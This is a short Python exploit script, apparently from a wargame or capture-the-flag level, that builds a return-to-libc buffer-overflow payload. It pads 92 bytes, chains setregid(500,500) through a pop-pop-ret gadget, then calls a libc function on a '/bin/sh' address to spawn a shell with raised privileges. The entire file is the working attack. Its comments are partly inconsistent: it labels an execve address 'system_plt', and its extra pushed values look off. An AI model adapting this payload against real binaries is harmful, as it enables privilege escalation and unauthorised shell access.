import sys
import struct

# 0x0804858a: pop edi;pop ebp;ret
pop_pop_ret=0x0804858a
# libc:("/bin/sh")
bin_sh=0xb7f60b2b
# Symbol "execve@plt" address
system_plt=0xb7e3fdb0
# Symbol "setregid@plt" address
setregid_plt=0xb7ee4710
# Symbol "exit" address
exit=0xb7e339e0

# Offset from buffer start to function return address is 92.
payload = 92*"A"

payload+=struct.pack("<IIII", setregid_plt, pop_pop_ret, 500, 500)

payload+=struct.pack("<II", 500, 500)

payload+=struct.pack("<III", system_plt, exit, bin_sh)

sys.stdout.write(payload)
